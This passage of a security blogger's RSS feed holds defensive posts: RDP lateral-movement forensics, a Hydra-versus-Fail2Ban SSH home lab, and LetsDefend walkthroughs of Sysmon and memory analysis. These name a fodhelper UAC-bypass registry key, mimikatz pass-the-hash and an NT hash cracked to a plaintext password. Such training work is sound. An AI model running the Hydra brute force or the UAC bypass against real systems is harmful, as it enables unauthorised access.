C:\Windows\System32\winevt\Logs</p><h4>Key Event IDs to Monitor</h4><ul><li><strong>Event ID 1149 </strong>— Indicates an RDP connection attempt via Network Level Authentication (NLA)<br> ⚠️ Does <strong>not</strong> mean full user logon</li><li><strong>Event ID 21</strong> — Session logon succeeded</li><li><strong>Event ID 22</strong> — Shell start notification received</li><li><strong>Event ID 23</strong> — Session logoff succeeded</li><li><strong>Event ID 24 / 40</strong> — Session disconnected (normal or generic)</li><li><strong>Event ID 25</strong> — Session reconnection succeeded</li><li><strong>Event ID 39</strong> — Session forcibly disconnected by another (possible attacker behavior)</li><li><strong>Event ID 4624 (Security log) </strong><br> → Successful logon<br> 🔹 <em>Logon Type 10</em> = RDP logon<br> 🔹 <em>Logon Type 7</em> = Session reconnect/unlock<br> 🔹 <em>Logon Type 3</em> = Network logon (often precedes RDP)</li><li><strong>Event ID 4634 (Security log)</strong> — Logoff confirmation</li></ul><h4>Understanding Logon Types</h4><p>Windows uses different Logon Types to describe how a user session was initiated. For RDP analysis, focus on:</p><ul><li><strong>Logon Type 2</strong>: Interactive logon (physical access)</li><li><strong>Logon Type 3</strong>: Network logon (used for SMB, RPC, etc.)</li><li><strong>Logon Type 7</strong>: Unlock of existing session</li><li><strong>Logon Type 10</strong>: RDP/Terminal Services session</li></ul><h4>Session Reconnect vs. New Logon</h4><ul><li>If a user disconnects (e.g., closes the RDP client) and later reconnects, the session is not terminated.</li><li>Instead of Logon Type 10, you’ll see Logon Type 7, indicating a session unlock.</li><li>This is always preceded by Logon Type 3, which provides the source workstation name — crucial for tracing lateral movement.</li></ul><h4>Example Scenario</h4><ul><li>If user is already logged in and someone RDPs using her credentials, Logon Type 7 is recorded.</li><li>If a different user logs in via RDP, Logon Type 10 is recorded.</li><li>In both cases, Logon Type 3 appears just before, revealing the origin of the connection.</li></ul><p>You can use tools like Event Viewer, PowerShell, or SIEM solutions (e.g., Splunk, ELK, Sentinel) to parse and analyze these logs for suspicious patterns.</p><h3>Detecting RDP Lateral Movement via Process Execution</h3><p>While event logs provide a timeline of RDP activity, process execution artifacts offer another layer of visibility — especially useful for forensic investigations. By analyzing both the source and target systems, we can uncover traces of RDP usage that may indicate lateral movement by an attacker.</p><h4>Source System: Initiating the RDP Session</h4><p>When a user initiates an RDP session, the Microsoft Remote Desktop Client (mstsc.exe) is executed. This process is a strong indicator of outbound RDP activity and can be traced using several forensic artifacts:</p><h4>Artifacts to Examine</h4><ul><li>RecentApps — Tracks recently used applications.</li><li>Prefetch — Stores metadata about executed programs to improve load times.</li><li>UserAssist — Located in the user’s NTUSER.DAT registry hive, it logs GUI-based application launches. (Path: Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist )</li><li>BAM (Background Activity Moderator) — Tracks background activity of processes. (Path: SYSTEM\bam\State\UserSettings\&lt;USER-SID&gt; )</li></ul><p>These artifacts help confirm that mstsc.exe was executed and can even reveal when and by whom, which is critical for correlating with logon events.</p><h4>Target System: Receiving the RDP Session</h4><p>Once the RDP session is established, the target system spawns several processes to support the remote session. These are not manually executed by the user but are system-initiated:</p><h4>Key RDP-Related Processes</h4><ul><li>rdpclip.exe — Manages clipboard redirection between local and remote systems.</li><li>tstheme.exe — Handles theming for remote desktop sessions.</li></ul><p>Since these processes are system-spawned, they won’t appear in UserAssist, RecentDocs, or similar user-focused artifacts. Instead, we rely on Prefetch, Shimcache, or Amcache to detect their execution.</p><h4>Using Prefetch for Detection</h4><p>Prefetch files contain valuable metadata about process execution, including run count and last execution time. On systems where Prefetch is enabled (typically client OS like Windows 10), it’s a goldmine for forensic analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*DS4x0RuvHKFz2Pku58M_-w.png" /></figure><p>To parse Prefetch files, use PECmd by Eric Zimmerman:</p><pre>PECmd.exe -d &quot;C:\Windows\Prefetch\&quot; --csvf targetsystem.csv --csv .</pre><p>This command:</p><ul><li>Parses all Prefetch files in the directory</li><li>Exports results to targetsystem.csv for easy analysis</li></ul><h4>Note</h4><p>On Windows Server, Prefetch is often disabled by default. In such cases, use:</p><ul><li>Shimcache — Tracks executed binaries via Application Compatibility Cache</li><li>Amcache — Provides metadata about installed and executed applications</li></ul><h4>Example: Evidence of TSTHEME.exe Execution</h4><p>The presence of TSTHEME.exe in Prefetch confirms that an RDP session was established on the target system. This is especially useful when correlating with logon events and network connections to build a timeline of attacker activity.</p><h3>Detecting RDP Lateral Movement via Registry Artifacts</h3><p>Registry artifacts offer a powerful way to attribute RDP activity to specific users and systems. One of the most valuable sources is the Remote Desktop Connection MRU (Most Recently Used) list, which records details about past RDP connections initiated from a system.</p><h4>Source System: Tracing Outbound RDP Connections</h4><p>When a user initiates an RDP session using the default Windows RDP client (mstsc.exe), Windows stores connection history in the registry. This data resides in the user’s NTUSER.DAT hive, making it ideal for user attribution—a critical component in forensic investigations.</p><h4>Registry Path</h4><pre>NTUSER\Software\Microsoft\Terminal Server Client\Servers</pre><p>This key contains subkeys for each remote system the user has connected to. Each entry includes:</p><ul><li>Hostname or IP address</li><li>Username used for the connection</li><li>Last write timestamp (indicates the last time the connection was made)</li></ul><h4>Tool Recommendation</h4><p>Use Registry Explorer (by Eric Zimmerman) to open and analyze the NTUSER.DAT hive. This tool provides a user-friendly interface for navigating registry structures and extracting timestamps.</p><h4>Important Considerations</h4><ul><li>This artifact is only created when using the default Windows RDP client (mstsc.exe). Connections made via third-party tools (e.g., mRemoteNG, Royal TS, or PowerShell remoting) will not populate this registry key.</li><li>The registry key is located on the source system — the machine from which the RDP session was initiated.</li><li>The last write timestamp of the registry key can be used to correlate with logon events, network logs, and process execution artifacts to build a comprehensive timeline of attacker activity.</li></ul><h4>Why This Matters for Detection</h4><ul><li>Direct user attribution: Since the key resides in the user’s profile, it ties RDP activity to a specific account.</li><li>Historical context: MRU entries provide a chronological list of remote systems accessed, which can reveal lateral movement paths.</li><li>Correlating evidence: Combine registry data with event logs and process execution artifacts to validate suspicious behavior.</li></ul><h3>Detecting RDP Activity via Bitmap Cache Analysis</h3><p>When investigating Remote Desktop Protocol (RDP) activity, most analysts focus on logs and registry artifacts. However, there’s a lesser-known but powerful forensic source: the bitmap cache. This cache stores graphical elements from RDP sessions and can be used to visually reconstruct what a user saw or did during a remote session — making it a valuable tool for incident response and digital forensics.</p><h4>What Is Bitmap Cache?</h4><p>Bitmap caching is a performance optimization feature in RDP. It stores frequently used graphical elements (bitmaps) locally on the client to reduce bandwidth usage and improve responsiveness.</p><ul><li>Bitmaps are stored in tiles of fixed pixel sizes.</li><li>If a bitmap is too large, it is split into smaller tiles using a tiling algorithm.</li><li>These tiles are cached locally and reused during the session.</li></ul><p>In simpler terms, bitmap cache helps speed up RDP sessions by storing parts of the screen locally — like buttons, icons, or even full windows.</p><h4>Location of Bitmap Cache Files</h4><p>On the source system (the machine initiating the RDP session), bitmap cache files are stored at:</p><pre>C:\Users\[Username]\AppData\Local\Microsoft\Terminal Server Client\Cache\</pre><p>These files are not human-readable by default, but they contain raw graphical data that can be extracted and analyzed.</p><h4>Extracting Bitmap Cache Images</h4><p>To convert raw cache files into usable images, use BMC-TOOLS — an open-source utility developed by ANSSI.</p><pre>python3 bmc-tools.py -s &quot;C:\Users\{username}\AppData\Local\Microsoft\Terminal Server Client\Cache&quot; -d &quot;C:\Users\{username}\Downloads\bitmap_parsed&quot; -b</pre><ul><li>-s: Source directory containing bitmap cache files</li><li>-d: Destination directory for extracted images</li><li>-b: Generates a collage of extracted bitmaps for easier review</li></ul><p>This process will yield hundreds of small image tiles — each representing a fragment of the RDP session.</p><h4>Reconstructing the Session: RDP Cache Stitcher</h4><p>To make sense of these fragmented tiles, use RDP Cache Stitcher — a tool designed to stitch bitmap tiles into coherent screenshots.</p><h4>How to Use</h4><ol><li>Launch the application and click “New Case”.</li><li>Point it to the folder containing your extracted bitmap images.</li><li>The tool will attempt to reconstruct full screenshots from the tiles.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PrYhBLUOmQ4T1abm.png" /></figure><p>While the order may not be perfect, the tool achieves ~90% accuracy, offering a surprisingly clear view of what occurred during the RDP session.</p><h3>Conclusion</h3><p>RDP remains one of the most abused tools for lateral movement in modern attacks — not because it’s malicious, but because it’s native, trusted, and often poorly monitored. Detecting its misuse requires more than looking at a single event ID or alert. It demands a <strong>layered approach</strong>, combining <strong>event logs</strong>, <strong>process execution traces</strong>, <strong>registry artifacts</strong>, and even <strong>visual evidence</strong> like bitmap cache reconstruction.</p><p>By understanding the normal behavior of RDP and mapping it across these multiple forensic points, defenders can effectively spot anomalies that reveal unauthorized access, persistence, or stealthy movement across the network. Whether you’re hunting in real-time or conducting post-incident forensics, these techniques equip you with the visibility needed to detect, respond to, and ultimately prevent deeper intrusions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf58fcf6d46a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detecting and Analyzing Brute Force Attack Detection and Mitigation Using Fail2Ban and Hydra]]></title>
            <link>https://saksham-17.medium.com/detecting-and-analyzing-brute-force-attack-detection-and-mitigation-using-fail2ban-and-hydra-b94928ec3334?source=rss-aaa787cf31e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/b94928ec3334</guid>
            <category><![CDATA[homelab]]></category>
            <category><![CDATA[bruteforce-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hydra]]></category>
            <category><![CDATA[soc]]></category>
            <dc:creator><![CDATA[Saksham Bhattarai]]></dc:creator>
            <pubDate>Sun, 05 Jan 2025 14:52:07 GMT</pubDate>
            <atom:updated>2025-01-05T14:52:07.664Z</atom:updated>
            <content:encoded><![CDATA[<p>In today’s world, where cybersecurity threats are increasing rapidly, brute force attacks are one of the most common ways for attackers to gain unauthorized access to systems. These attacks involve systematically attempting a large number of passwords until the correct one is found. As cybersecurity professionals, it’s crucial to implement effective measures to detect and prevent such attacks.</p><p>In this post, I will guide you through the process of setting up an environment to simulate, detect, and mitigate brute force attacks using two powerful tools: <strong>Fail2Ban</strong> and <strong>Hydra</strong>. <strong>Fail2Ban</strong> helps in mitigating brute force attempts by blocking malicious IPs, while <strong>Hydra</strong> is used to simulate these attacks. We will configure Fail2Ban to monitor SSH login attempts, detect malicious activity, and automatically block attacking IP addresses.</p><p>By the end of this guide, you will understand the following:</p><ul><li>How brute force attacks work.</li><li>How to use Hydra to simulate brute force attacks.</li><li>How Fail2Ban detects and mitigates brute force attacks.</li></ul><p>Let’s get started!</p><h3>Setting Up the Environment</h3><h3>Step 1: Install and Configure the System</h3><p>For this project, we’ll use a <strong>Linux VM</strong> (Ubuntu) to simulate the SSH service and install Fail2Ban. Here are the steps:</p><ol><li><strong>Install Ubuntu VM</strong>:</li></ol><ul><li>Create a new Virtual Machine using VirtualBox or VMware with <strong>Ubuntu </strong>as the operating system.</li></ul><p>Virtualbox: <a href="https://www.virtualbox.org/wiki/Downloads">https://www.virtualbox.org/wiki/Downloads</a></p><p>Ubuntu: <a href="https://releases.ubuntu.com/jammy/">https://releases.ubuntu.com/jammy/</a></p><ul><li>Allocate at least <strong>2 GB of RAM</strong> and <strong>20 GB of disk space</strong> for the VM.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*m0pEcE5mEVEpqd37vjifEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*5Ss405uAy47cDB8lMj9Hrg.png" /></figure><p>2. <strong>Update the System</strong>: Once the VM is ready, update it by running:</p><ul><li>sudo apt update</li><li>sudo apt upgrade -y</li></ul><p>3.<strong> Install SSH Server</strong>: SSH allows you to remotely access the system, and it’s the target for brute force attacks.</p><ul><li>sudo apt install openssh-server -y</li><li>sudo systemctl enable ssh</li><li>sudo systemctl start ssh</li></ul><p>To confirm that SSH is working, you can check the service status:</p><ul><li>sudo systemctl status ssh</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*iUlqqn6r65kCasBlWPfEzQ.png" /></figure><h3>Simulating Brute Force Attacks Using Hydra</h3><p>Now we’ll simulate an attack using <strong>Hydra</strong>, a popular brute force tool.</p><h3>Step 2: Install Hydra</h3><ol><li>Install Hydra on your <strong>host machine</strong> or another VM that will be used for the attack simulation:</li></ol><ul><li>sudo apt install hydra -y</li></ul><h3>Step 3: Perform a Brute Force Attack</h3><p>Hydra will be used to simulate a brute force attack on the SSH service of our Ubuntu VM. You’ll need a <strong>password list</strong> to use in the attack. We’ll use the <strong>rockyou.txt</strong> wordlist, which is a commonly used password list.</p><ol><li><strong>Find the Path to rockyou.txt</strong>: If it’s not already installed, you can install it with:</li></ol><pre>wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt</pre><p>Verify the file is downloaded:</p><ul><li>ls rockyou.txt</li></ul><p>2.<strong> Run Hydra to Simulate a Brute Force Attack</strong>: Use the following command to initiate the attack:</p><ul><li>hydra -l &lt;your-username&gt; -P rockyou.txt ssh://&lt;target-IP&gt;</li></ul><p>Replace &lt;target-IP&gt; with the IP address of your Ubuntu VM.</p><p>Hydra will try various passwords from the wordlist against your SSH service and display successful login attempts in the terminal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gsmk2Nt_OZROEYZ29vufKg.png" /></figure><p>This means Hydra successfully brute-forced SSH login with password: user.</p><h3>Step 4: Install Fail2Ban</h3><p><strong>Fail2Ban</strong> is a tool that helps detect and prevent brute force attacks by monitoring system logs and blocking malicious IPs. Let’s install and configure it:</p><ol><li><strong>Install Fail2Ban</strong>:</li></ol><ul><li>sudo apt install fail2ban -y</li></ul><p>2.<strong> Create a Local Configuration</strong>: It’s always a good practice to copy the default configuration to a local file so that it can be customized.</p><ul><li>sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local</li></ul><p>3.<strong> Configure Fail2Ban to Monitor SSH</strong>: Edit the jail.local configuration file to enable Fail2Ban for SSH and set some basic parameters like the number of failed login attempts before blocking an IP.</p><ul><li>sudo nano /etc/fail2ban/jail.local</li></ul><p>Look for the [sshd] section and make sure it looks like this:</p><pre>[sshd] <br>enabled = true <br>port = ssh <br>logpath = /var/log/auth.log <br>maxretry = 3 <br>bantime = 10m</pre><ul><li><strong>enabled</strong>: Set to true to enable monitoring of SSH.</li><li><strong>maxretry</strong>: The number of failed login attempts before banning an IP.</li><li><strong>bantime</strong>: The duration for which the IP will be blocked (10 minutes in this case).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*ED7SC2ZAkUmzq34-tJXXyw.png" /></figure><p>4.<strong> Restart Fail2Ban</strong>: To apply the changes:</p><ul><li>sudo systemctl restart fail2ban</li><li>sudo systemctl enable fail2ban</li></ul><h3>Step 5: Test Fail2Ban with Hydra</h3><ol><li><strong>Run Hydra Again</strong>: Now, run Hydra again to attempt a brute-force attack on SSH:</li></ol><ul><li>hydra -l &lt;your-username&gt; -P rockyou.txt ssh://&lt;target-IP&gt;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uZahn4YszikkASEYLZ5B8Q.png" /></figure><h3>Step 6: Detecting and Blocking the Attack</h3><p>While Hydra is running the brute force attack, we can monitor <strong>Fail2Ban</strong>’s detection system to see if it successfully blocks the attacking IP.</p><ol><li><strong>Monitor SSH Logs</strong>: You can view the SSH log file where the failed login attempts are recorded:</li></ol><ul><li>sudo tail -f /var/log/auth.log</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*H7G4ex9i7_eeVuP1GbY2tQ.png" /></figure><p>2. <strong>Monitor Fail2Ban Logs</strong>: Fail2Ban logs its actions (e.g., banning an IP) in the following log file:</p><ul><li>sudo tail -f /var/log/fail2ban.log</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*hKpvn9WRnmHB4v6lHkX9wA.png" /></figure><p>You should see messages about the attack and the IP being banned.</p><h3>Conclusion</h3><p>In this tutorial, we demonstrated how to detect and mitigate brute force attacks using <strong>Fail2Ban</strong> and <strong>Hydra</strong>. We covered:</p><ul><li>How to configure <strong>Fail2Ban</strong> to monitor SSH logs and block malicious IPs.</li><li>How to use <strong>Hydra</strong> to simulate a brute force attack.</li><li>How to monitor logs to detect and confirm the blocking of attacks.</li></ul><p>Brute force attacks are common, but with the proper tools in place, you can protect your systems effectively. <strong>Fail2Ban</strong> provides a reliable defense mechanism, and using <strong>Hydra</strong> helps simulate real-world attack scenarios for testing purposes.</p><p>With these techniques, you can improve your defensive capabilities and be better prepared to respond to such attacks in a production environment.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b94928ec3334" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Log analysis with Sysmon- Walkthro]]></title>
            <link>https://saksham-17.medium.com/log-analysis-with-sysmon-walkthro-146c38d68ea1?source=rss-aaa787cf31e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/146c38d68ea1</guid>
            <category><![CDATA[letsdefendio]]></category>
            <dc:creator><![CDATA[Saksham Bhattarai]]></dc:creator>
            <pubDate>Fri, 22 Nov 2024 06:10:44 GMT</pubDate>
            <atom:updated>2024-11-22T06:10:44.318Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Log analysis with Sysmon- Walkthrough</strong></h3><p>In this post, I’ll walk you through an engaging challenge I recently tackled on LetsDefend, a platform that hones cybersecurity skills through practical, real-world exercises. This challenge focused on <strong>log analysis with Sysmon</strong> after one of our company’s endpoints experienced a breach.</p><p>The incident was swiftly detected and escalated for investigation. As part of the response team, my task was to dive into the Sysmon logs from the compromised endpoint, uncovering critical details about the attack. Using these logs, the goal was to analyze the breach thoroughly, identify suspicious activities, trace the attacker’s methods, and gather actionable insights to strengthen defenses.</p><blockquote><strong><em>Which file gave access to the attacker?</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/0*AWG7HKdkI8_e-jME.png" /></figure><p>We were provided with two files: a Sysmon event log file and its JSON version. Importing the JSON file into Splunk can greatly simplify the analysis and make this challenge more manageable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*xggIe2_BxNpAuRPp.png" /></figure><p>I began by filtering Sysmon Event ID 1 (Process Creation) to identify any unusual processes. One process that stood out to me was <strong>IDM.exe</strong>, prompting further investigation into its context.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*3eINNvLPRMfWU6jC.png" /></figure><p>After this process started, several <strong>Sysmon Event ID 3 (Network Connection Detected)</strong> logs showed attempts to establish a connection to <strong>10.0.0.10</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*x7woZqqEyzp7wmtD.png" /></figure><p>This eventually led me to identify command execution via CMD, confirming that <strong>IDM.exe</strong> acted as the payload responsible for establishing a reverse shell connection back to the attacker.</p><pre>IDM.exe</pre><blockquote><strong><em>What did the attacker use to bypass UAC? Mention the EXE.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*jGn-_knvd9acy9cB.png" /></figure><p>Since we already know the payload name, we can use the <strong>find</strong> function or manually scroll through the logs to trace what happened next after the attacker executed commands. From this, we observed a command shell attempt to set a registry key, as indicated by <strong>Sysmon Event ID 13 (RegistryEvent — Value Set)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*pKrrOAgaW9Vpm4X0.png" /></figure><p>There is another registry key set event here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*0A6ZkmQZnW0tWSs3.png" /></figure><p>And the executable file that was executed at the same time as those registry key set is fodhelper.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*pm7I9JNEqApyvwxQ.png" /></figure><p>This registry key modification involves a well-known, trusted Windows binary often exploited to bypass User Account Control (UAC). The changes indicate that UAC bypass was successfully executed, allowing commands to run with Administrator privileges.</p><pre>fodhelper.exe</pre><blockquote><strong><em>What registry path and value was used by the above EXE to gain higher privileges? (path\value)</em></strong></blockquote><pre>HKCU:\Software\Classes\ms-settings\shell\open\command\sEpQhpkr</pre><blockquote><strong><em>The attacker dropped a file. What is the file location?</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*3eeKH6jHqOMXAJbm.png" /></figure><p>Filtered by Sysmon Event ID 11 (FileCreate) then we could see that IDM.exe downloaded mimikatz to infected system.</p><pre>C:\Users\Gabr\Downloads\mimikatz.exe</pre><blockquote><strong><em>What are the technique name and ID used by the dropped EXE?</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*hxCweAANDovHrtf5.png" /></figure><p>Sysmon typically logs events with a RuleName that maps to the MITRE ATT&amp;CK framework. However, I couldn’t find a specific credential dumping event in the event log file. To investigate further, I searched for “mimikatz” in the JSON file. This revealed both the technique name and its corresponding MITRE ATT&amp;CK ID, confirming the use of mimikatz for credential dumping.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*C3Z_bvwkH5HamLy4.png" /></figure><p>You can read more about this technique <a href="https://attack.mitre.org/techniques/T1003/">here</a>.</p><pre>Credential Dumping: T1003</pre><blockquote><strong><em>What is the name of the attack?</em></strong></blockquote><p>Mimikatz is also known for “pass the hash” which use NTLM hash dumping from lsass to authenticate and launch another process (normally cmd or powershell) as that user (Read more about Pass The Hash attack <a href="https://www.netwrix.com/pass_the_hash_attack_explained.html">here</a>)</p><pre>pass the hash</pre><blockquote><strong><em>What EXE did the attacker run using elevated privileges from the above attack?</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*Mtg9z8dnpuidqJF-.png" /></figure><p>First, we need to identify the “ProcessId” associated with the mimikatz process. Once we have this “ProcessId,” we can track its child processes for further investigation. In this case, the “ProcessId” for the mimikatz process is <strong>4988</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*Puxz21b_hTU1chmG.png" /></figure><p>Next, we search for <strong>“ParentProcessId: 4988”</strong>, which reveals that <strong>powershell.exe</strong> was spawned as a child process of the mimikatz process. This indicates that <strong>powershell.exe</strong> was likely used as part of a <strong>Pass-the-Hash</strong> attack.</p><pre>powershell.exe</pre><blockquote><strong><em>The attacker downloaded and ran a file. What is the filename?</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*ecFEkCLRU6GQbPIb.png" /></figure><p>Now that we have the <strong>ProcessID</strong> of the <strong>powershell.exe</strong> process, we can search for any commands executed by the attacker. This leads us to a <strong>PowerShell IWR</strong> (Invoke-WebRequest) cmdlet, which was used to download the payload. The attacker then executed the downloaded payload using <strong>Start-Process</strong>. This sequence of actions points to the malicious activity where the attacker downloaded and ran the payload via PowerShell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*8DAr6CxtzC9s3nxn.png" /></figure><p>And here is ProcessID of this process</p><pre>012e382049b88808e2d0b26e016dc189f608deea9b6cc993ce24a57c99dd93d1.exe</pre><h3>Summary</h3><p>In this post, I shared my experience analyzing Sysmon logs from a compromised endpoint during a breach investigation on LetsDefend. By examining the logs, I identified <strong>IDM.exe</strong> as the payload that established a reverse shell and used <strong>fodhelper.exe</strong> to bypass UAC and gain elevated privileges. The attacker then downloaded <strong>mimikatz.exe</strong> for credential dumping using the <strong>Pass the Hash</strong> technique and executed the payload via <strong>powershell.exe</strong>. This analysis emphasized the importance of Sysmon log review in detecting and understanding attack methods to improve defense strategies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Dw0QwovnciPPnDvT" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=146c38d68ea1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Memory Analysis- W]]></title>
            <link>https://saksham-17.medium.com/memory-analysis-w-7006766c1ec8?source=rss-aaa787cf31e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/7006766c1ec8</guid>
            <category><![CDATA[lets-defend]]></category>
            <dc:creator><![CDATA[Saksham Bhattarai]]></dc:creator>
            <pubDate>Fri, 22 Nov 2024 05:22:33 GMT</pubDate>
            <atom:updated>2024-11-22T05:49:43.026Z</atom:updated>
            <content:encoded><![CDATA[<h3>Memory Analysis- Walkthrough</h3><p>In this post, I’ll be walking you through a fascinating challenge I recently worked on via LetsDefend, a platform that sharpens cybersecurity skills through real-world scenarios. The challenge I tackled today focused on memory analysis after a Windows endpoint was compromised. Thanks to our advanced EDR/IDS solution, we detected the breach early, and the incident was escalated for further investigation. As part of the forensics team, I was tasked with analyzing a memory dump from the compromised host.</p><p>The challenge involved downloading a memory dump file from the compromised system and using memory analysis tools like Volatility2 and Volatility3 to extract key forensic data. The goal was to investigate the memory dump for signs of malicious activity, uncovering details like running processes, network connections, and injected code that could point to the attacker’s methods.</p><p><strong>1. What was the date and time when Memory from the compromised endpoint was acquired?</strong></p><p>We can determine when the memory was acquired using the <strong>info plugin</strong> in Volatility, which extracts system details from the memory dump. By checking the <strong>SystemTime</strong> field, we can pinpoint the exact date and time of memory acquisition, helping to establish the timeline of the compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*KV1N6JlBMU5qTs61.png" /></figure><pre>2022–07–26 18:16:32</pre><p><strong>2. What was the suspicious process running on the system? (Format : name.extension)</strong></p><p>We will use the <strong>pslist plugin</strong> to list all running processes in memory. Our focus will be on identifying suspicious processes or abnormal parent-child relationships that could indicate malicious activity. These irregularities can provide valuable clues about potential compromises.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*zX236uJP8NiK82zW.png" /></figure><p>I immediately noticed two <strong>lsass.exe</strong> processes running on the system — one with a PPID of 500 and the other with a PPID of 3996. Next, we’ll examine their parent processes to determine which one is legitimate and which one may be suspicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*KPl60wNXtAI6dyRX.png" /></figure><p>The process with the <strong>PID of 500</strong> is associated with <strong>wininit.exe</strong>, while the one with <strong>PID of 3996</strong> is spawned by <strong>explorer.exe</strong>. Since only one instance of <strong>lsass.exe</strong> should be running on a system and it should have <strong>wininit.exe</strong> as its parent, we can conclude that the <strong>lsass.exe</strong> process with <strong>PID 7592</strong>, which is spawned by <strong>explorer.exe</strong>, is suspicious and likely compromised.</p><pre>lsass.exe</pre><p><strong>3. Analyze and find the malicious tool running on the system by the attacker (Format name.extension)</strong></p><p>Now that we’ve identified the suspicious process running on the system, our next step is to dump the process and gather further details. To do this, we’ll take the file hash of the process and check it on threat intelligence platforms like <strong>VirusTotal</strong> to see if there is any information about it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*_Aenvba1Nl-fmPw2.png" /></figure><p>By submitting the file hash to VirusTotal, we can determine if the file has been flagged as malicious or if there are any known threats associated with it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*O-nxNgZYjJy9yA2w.png" /></figure><p>The VirusTotal results reveal that the original name of the file is <strong>winPEAS.exe</strong>, which is a tool commonly used for <strong>Privilege Escalation</strong> and conducting <strong>security assessments</strong> on Windows systems.</p><pre>winPEAS.exe</pre><p><strong>4. Which User Account was compromised? Format (DomainName/USERNAME)</strong></p><p>Through my research, I discovered a useful plugin called <strong>envars</strong> in Volatility, which helps extract environmental variables from a memory dump. Environmental variables provide important insights into the system’s configuration and the user’s environment, making it a valuable tool for investigating compromised systems and understanding the context of the breach.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*YDtDEZmBp8qOed_a.png" /></figure><p>As seen in the results from using the <strong>envars</strong> plugin, it provided valuable information, including the domain name and the username of the compromised account. This data is crucial for identifying the affected user and understanding the context of the breach.</p><pre>MSEDGEWIN10/CyberJunkie</pre><p><strong>5. What is the compromised user password?</strong></p><p>We will be using the <strong>hashdump</strong> plugin to extract password hashes from a memory dump of a compromised system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*wb_c-ZEP3ZUl4KXf.png" /></figure><p>Now that we have the LM and NTLM hashes for the user <strong>CyberJunkie</strong>, we can attempt to crack them to retrieve the plaintext password.</p><p><strong>NThash</strong>: a9fdfa038c4b75ebc76dc855dd74f0da</p><p>Although tools like <strong>John the Ripper</strong> or <strong>Hashcat</strong> can be used to crack the password, for simplicity, I’ll use <strong>CrackStation</strong> for this challenge.</p><p>You can use CrackStation here: <a href="https://crackstation.net/">https://crackstation.net/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*tBUxL-fygGgBJZg4.png" /></figure><pre>password123</pre><h3>Conclusion:</h3><p>In this memory analysis challenge, we successfully analyzed a compromised Windows endpoint using memory dump files and powerful tools like Volatility2 and Volatility3. Through the investigation, we were able to pinpoint the suspicious <strong>lsass.exe</strong> process running on the system, identify <strong>winPEAS.exe</strong> as the malicious tool used for privilege escalation, and uncover crucial information about the compromised user account (<strong>CyberJunkie</strong>). By extracting password hashes and cracking them, we retrieved the plaintext password, <strong>password123</strong>, which gave further insight into the attacker’s activities. This exercise reinforced the importance of thorough memory analysis and using the right forensic tools to detect, investigate, and mitigate cyber threats effectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-5jr2KUweiYb1xfX" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7006766c1ec8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malicious VBA- Walkthrough]]></title>
            <link>https://saksham-17.medium.com/malicious-vba-walkthrough-1e47454bd230?source=rss-aaa787cf31e3------2</link>
